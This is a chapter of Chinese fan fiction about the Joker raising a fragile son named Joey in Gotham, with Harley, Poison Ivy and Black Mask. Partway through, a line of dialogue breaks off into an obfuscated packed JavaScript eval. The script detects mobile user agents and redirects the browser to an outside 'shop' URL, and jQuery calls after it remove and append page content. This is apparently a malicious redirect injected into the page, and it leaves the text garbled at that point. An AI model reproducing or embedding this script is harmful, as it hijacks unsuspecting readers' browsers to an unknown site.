2. 第二章

作品:《小丑之子

    “你又在吓唬他。”帕米拉抱起手臂。


    “是教育,亲爱的艾薇,是教育。”小丑凑近乔伊,红色嘴角咧开到一个非人的弧度,但眼神却格外专注的,“我的小鸟只需要知道:外面有蝙蝠,很危险。而这里是巢,只有这里才是最安全的。”


    乔伊点点头。他早就习惯了爸爸这种夸张的表达方式。


    喜剧演员嘛,总是这样。


    “今天想做什么?”小丑问,“我弄到了一批新的DVD,全是老歌舞片。或者我们可以画画?我搞到了荧光颜料,在暗处会发光的那种,你肯定会喜欢——”


    “爸爸,”乔伊轻声打断,“我能去窗边看看吗?真正的窗边。”


    房间陷入沉默。


    哈莉和帕米拉交换了一个眼神。小丑脸上的笑容没有变,但空气却骤然冷了好几度。


    “窗边?”小丑重复。


    “就是……有普通玻璃的窗边。我想看看外面真正的颜色。”乔伊拉了拉父亲的袖子,有些可怜兮兮的看着小丑,“今天天气好像很好,我感觉到阳光的温度了。”


    小丑盯着他看了许久,忽然大笑起来。


    那笑声尖锐得让帕梅拉皱眉,但乔伊只是安静地等着,其实他内心还是有些忐忑,毕竟在此之前他每一次类似的请求都会遭到父亲的拒绝。


    “好吧!”小丑猛地站起,“就五分钟。哈莉,去准备遮光帘和防护霜,艾薇,把“夜安”搬到窗边。我的小鸟需要新鲜空气,哦,当然,它们总是不能一直看着同一片风景的,那会让我的小鸟感到无聊的!”


    出乎乔伊的预料,但他在听到爸爸终于同意后不由眼睛一亮。


    五分钟后,乔伊坐在轮椅上被推到生活区唯一一扇真正的窗前。遮光帘被拉开一半,特制的透明滤光膜贴在玻璃外,将紫外线过滤掉97%。


    这就足够了。


    这是乔伊记忆中第一次看见完整的、未经扭曲的哥谭。


    灰蓝色的天空,远处韦恩大厦的尖顶,蜿蜒的哥谭河,以及河对岸高低错落的建筑群。一只鸽子掠过窗前,他看见了羽毛真实的灰色。


    “漂亮吗?”小丑蹲在他轮椅旁,手臂搭在扶手上。


    “嗯。”乔伊把额头贴在微凉的玻璃上,浅色的眼珠中倒映出小小的哥谭。


    “爸爸,外面那些人……他们每天都看见这些吗?”


    “他们看见的可没这么漂亮,”小丑的声音很轻,“他们看见的是垃圾、污垢和罪恶。只有我的小鸟看见的才是真的。”


    乔伊的目光落在远处一座黑色高塔上:“那是什么?”


    “那边是钟楼,亲爱的。”哈莉抢答,“老古董啦,指针都不走了。”


    “钟楼……”乔伊喃喃重复。他的视线继续移动,然后停住了。


    在钟楼顶端,有一个不起眼的黑色凸起。形状像一只展开翅膀的蝙蝠。


    “那又是什么?”


    这次没人立刻回答。


    乔伊转过头,发现爸爸正盯着那个方向,眼中说不出是什么情绪,他惯常上扬着的鲜红嘴唇此刻抿成一条直线。


    不远处的哈莉和帕米拉也不说话,哈莉手指搅动着自己的辫子,帕米拉则低头摆弄着植物叶片。


    “一个装饰品,”小丑最终说道。


    他站起来,挡住乔伊的视线,“一点无聊的装饰品。好了,时间到。”


    遮光帘被拉上,世界重新变回柔和的乳白色。


    在回床的路上,乔伊轻声问:“爸爸,你认识蝙蝠吗?”


    小丑推轮椅的手停顿了一帧。


    “当然。”他这么回答着,声音里又浮起那种癫狂的笑意,“老朋友了。但蝙蝠不适合当朋友,乔伊。它们吸血,住在黑暗里,会把巢里的小鸟叼走。”


    “你会保护我吗?”


    轮椅停下了。


    小丑绕到乔伊面前缓缓蹲下,双手捧住儿子瓷白色的脸。他的动作极轻,仿佛在捧着一件会碎的玻璃艺术品。


    “当然,我会用我的每一滴血、每一根骨头、每一次呼吸保护你。”小丑的拇指轻轻摩挲着乔伊眼下脆弱的皮肤,“你是我的奇迹,乔伊。我掉进地狱时唯一抓住的光。没有任何东西——没有任何人——能把你从我身边带走。明白吗?”


    乔伊点点头。


    他相信爸爸。十一年来,爸爸从未食言过。


    下午,黑面具果然来了。


    黑面具走进阿卡姆的顶层时,乔伊正坐在地毯上拆包裹。


    不是玩具包裹,是药品包裹。


    白色的泡沫箱,里面整齐排列着冰袋和玻璃药瓶,标签上是复杂的化学式。哈莉跪在旁边帮忙,用她涂着红蓝色指甲油的手指笨拙地撕开封条,嘴里哼着不成调的歌。


    柔和的光线从拟景窗洒进来,在乔伊的白发上镀了一层薄薄的金边。


    “赛斯叔叔!”乔伊抬头看见他,浅蓝色的眼睛亮起来。他站起来,短暂的头晕让他的动作间有些摇晃,被旁边的哈莉眼疾手快的扶了一下,下一刻罗曼已经站在了他面前。


    那张黑色的木质面具一如既往地没有表情,但露出的眼睛扫过乔伊苍白的脸,然后落在那些药瓶上。


    “新到的?”罗曼的声音透过面具传出,有些沉闷却很清晰。


    “嗯!哈莉阿姨说这些是新药,吃下它们说不准会让我的身体好上一点。”乔伊说这话的时候眼睛亮亮的,里面像是藏着名为“希望”的星星。


    “对啦,谢谢赛斯叔叔送我的眼镜。”他指了指被放在床头的眼镜。


    因为是室内,乔伊并没有戴着罗曼送的那副眼镜,眼镜此刻正被很小心的摆放在床头柜上。


    罗曼看了一眼眼镜的位置,“你需要每天戴满八小时。数据会自动上传,我会监测你的适应情况。如果有任何不适,告诉你父亲,他会联系我。”


    乔伊乖乖点头答应。


    哈莉凑过来将眼镜架上乔伊的鼻梁后,歪头看着乔伊:“哇哦,小南瓜看起来像个小科学家!酷毙了!”


    乔伊眨眨眼,走到墙边的一面小镜子前,看着镜中的自己。


    白发,苍白的小脸,浅蓝色的眼睛在茶色镜片后显得更深邃。


    “赛斯叔叔,”乔伊忽然转身转身,认真地问:“你戴面具,也是为了“防护”吗?”


    房间里安静了一瞬。哈莉的嬉笑僵在脸上,她略微紧张地看向黑面具,浑身肌肉都开始绷紧。


    出乎意料地,罗曼没有生气,他只是转过身,看着乔伊。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456994|201237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是的。”他说道,声音平静,“但我的面具防护的是别的东西。不是光,是……别的东西。”


    乔伊好奇:“比如什么?”


    “比如不必要的表情。”罗曼说,“比如软弱的流露。比如让别人看清你在想什么。面具让人保持距离,让人捉摸不透,让人……安全。”


    乔伊似懂非懂地点头。他走回罗曼面前,仰头看着他,茶色镜片后的眼睛清澈见底。


    “那赛斯叔叔摘下面具的时候,是什么样子?”


    这个问题让哈莉倒抽一口冷气,小声说:“小南瓜,别问那个——”


    但罗曼抬手制止了她。他低头看着乔伊,看了很久很久。然后,他单膝蹲下。


    这个动作让他的黑色长外套垂在地毯上,也让他和乔伊的视线持平。


    “我摘下面具的样子,不重要。”罗曼说,声音很轻,但清晰,“重要的是,我选择戴上面具。就像你,因为身体的原因,必须待在过滤过的房间里,必须吃这些药,必须戴这副眼镜。这些都是我们的……条件。我们无法选择的条件。但我们可以选择怎么面对它们。”


    他伸出手,手指隔着空气,虚虚地点了点乔伊的眼镜:“你可以把它看作囚笼,看作提醒你“和别人不一样”的标签。或者,你可以把它看作工具,看作让你能看得更清楚、活得更舒服的礼物。选择权在你,乔伊。永远在你自己。”


    乔伊看着近在咫尺的黑色面具。这么近的距离,他能看见面具上细微的木纹,能看见眼睛开口处自己小小的倒影,能看见赛斯叔叔眼底某种很沉重的东西。


    “我选择礼物。”乔伊小声地说,“因为赛斯叔叔送我礼物,是希望我好。所以我会好好用它,好好保护眼睛,好好……活着。”


    从罗曼那张万年不变的黑面具上看不出任何表情的变化,但在所有人都不可见的地方,他的手指微微蜷了一下。


    然后,他站起来,转身走向门口。


    “数据我会关注。”他说,没有回头,“下周我会带新的药来。还有眼镜的备用镜片和清洁工具。”


    他离开了。门关上后,哈莉长舒一口气,夸张地拍着胸口:“小南瓜,你差点吓死我!没人敢问罗曼面具的事!上一个问他脸怎么了的人,头骨现在在他办公室当镇纸!”


    接着她又像是反应过来了什么笑嘻嘻的解释道:“当然宝贝,你知道的,这只是夸张手法,我们喜剧演员总是这样。”


    乔伊熟练的忽略掉哈莉的那些“夸张手法”,只是摸着眼镜,轻声说:“但赛斯叔叔没有生气。他只是告诉我可以选择。”


    哈莉愣了愣,然后笑了,揉乱他的头发:“因为你不一样,宝贝。你对所有人来说,都不一样。”


    晚上,乔伊在帕米拉带来的那些植物的香气中入睡。床头的“夜安”花轻轻开合,释放出助眠孢子。他梦见自己长出白色的翅膀,飞过哥谭的夜空,落在一座黑色钟楼上。


    钟楼顶端,那个蝙蝠形状的装饰品在月光下泛着冷硬的光泽。


    梦中的他仔细观察着这个东西。


    它看上去不像石头,像是某种金属制品。


    然而晃眼间,他似乎看到在钟楼阴影里,一双如夜般深沉而坚毅的钢蓝色的眼睛正直直注视着自己。